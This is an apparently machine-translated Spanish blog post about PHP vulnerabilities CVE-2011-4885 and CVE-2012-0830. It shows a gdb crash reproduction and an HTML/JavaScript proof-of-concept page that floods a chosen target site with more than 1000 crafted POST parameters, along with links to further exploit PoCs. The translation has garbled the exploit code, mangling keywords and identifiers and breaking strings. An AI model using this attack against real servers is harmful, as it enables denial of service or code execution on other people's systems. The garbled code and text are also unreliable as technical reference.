PHP 5.3.* le gusta vulnerabilidades DOS
Casi toda la parte de la CVE-2011-4885 PHP tablas hash de denegación de servicio que dice que este:
PHP antes 5.3.9 calcula los valores hash de los parámetros de forma, sin restringir la capacidad de desencadenar colisiones hash predecible, que permite a atacantes remotos provocar una denegación de servicio (El consumo de CPU) mediante el envío de gran cantidad de parámetros hechos a mano.
Con la actualización a la versión PHP 5.3.9 introduce la corrección de errores:
Max_input_vars Añadido directiva para prevenir ataques basados en colisiones de hash (Dmitry).
max_input_vars Mi ejemplo es configurable a través de php.ini:
Este, max_input_vars Sin embargo, introduce un nuevo error: CVE-2012-0830
Un atacante remoto podría enviar gran número de peticiones POST artesanales, lo que podría
accidente de php o ejecutar código arbitrario con los permisos del usuario ejecutando
php.
cat test.php
<?php
print_r( $_GET );
?>
(gdb) run -d max_input_vars=1 /tmp/test.php a[]=1 v[]=2
Starting program: /usr/bin/php-cgi -d max_input_vars=1 /tmp/test.php a[]=1 v[]=2
[Thread debugging using libthread_db enabled]
PHP Warning: Unknown: Input variables exceeded 1. To increase the limit change max_input_vars in php.ini. in Unknown on line 0
PHP Warning: Unknown: Input variables exceeded 1. To increase the limit change max_input_vars in php.ini. in Unknown on line 0
Program received signal SIGSEGV, Segmentation fault.
0x000000000063cb5e in php_register_variable_ex ()
(gdb) ^CQuit
clshack@lb:~$ php-cgi --version
PHP 5.3.9-6~oneiric+2 (cgi-fcgi) (built: Feb 1 2012 15:51:44)
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2012 Zend Technologies
clshack@lb:~$
Cuando la vulnerabilidad es como sigue:
La vulnerabilidad ocurre cuando el número de variables excede max_input_vars y la variable es una variable de matriz (si (*p == '[')). En vez de un caso más que parar y volver, el código se permite que continúe la ejecución. El código se sigue ejecutando hasta la línea 207, la segunda línea resaltada. En la línea 207, está llamando a un Z_ARRVAL_PP macro para obtener una referencia a la tabla hash actualizada. Aquí es donde la ejecución de código se puede producir.
Si el POC para un sitio remoto, Con mi max_input_vars un 1000 [editar clshack v.v ]:
<!DOCTYPE html PUBLIC "- / / W3C / / DTD XHTML 1.0 Estricta / / EN" "Http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd~~V "> <html xmlns = "http://www.w3.org/1999/xhtml" xml:lang = "en" lang = "ES"> <head> <title>senza nome</title> <meta http-equiv = "Content-Type" content = "text / html;charset = UTF-8" /> <script> // Una prueba simple del concepto de error de PHP (CVE-2012-0830) descrito por Stefan Esser (@ I0n1c) // http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/ // Generar 1000 teclas normales y una matriz () { var = evil_obj {}; for (var i = 0; i < 1001; i ) { evil_obyo[i] = 1; } evil_obj['Matar[]'] = 'Kill'; volver evil_obj; } // Serializar objetos Javascript en datos POST (obj) { fue str = []; for(var p and Share) { strparash(p + "=" + obj[p]); } volver str.join("&"); } // Ejecutar ataque (site) { var = malo serialscabezabj(createEvilObj()); var xhr = new XMLHttpRequest(); xhr.open("POST&quositiosite, verdadero); xhr.setRequestHeader('application/x-www-form-urlencoded'); xhr.setRequestHeader('Content-Length', bad.length); xhr.se'lo); } </script> </head> <body> <texto de entrada type = '' sitio id = '' value = "http://www.example.com' nombre = 'sitio' > <botón de onclick = "attackSite(document.getElementById("Sitio").valor);'> Atacar</cuerpon> </body> </html>
En cuanto a la poc CVE-2011-4885 está disponible aquí:
http://www.exploit-db.com/exploits/18296/
Y entonces no es para PHP 5.4SVN-2012-02-03 un desbordamiento de búfer en la función htmlspecialchars o entidades:
Poc:
http://www.exploit-db.com/exploits/18458/~~V
Referencias:
http://pastebin.com/qWBrq0A3
http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/
http://www.exploit-db.com
Puestos relacionados con:
- RIPS:analizador de código fuente en busca de vulnerabilidades en PHP
- [WordPress]Lanzamiento: WP-SENTINEL 2.0
- Herramientas para la búsqueda de DLL Secuestro de vulnerabilidades
Esta entrada fue publicada el viernes, 03 de febrero, 2012 en 4:07 pm y está clasificada bajo: Piratería, Programación. Puedes seguir cualquier respuesta a esta entrada a través de la RSS 2.0 alimentar. Usted puede dejar una respuesta, o trackback desde tu propio sitio.
Etiquetado con: dos • php






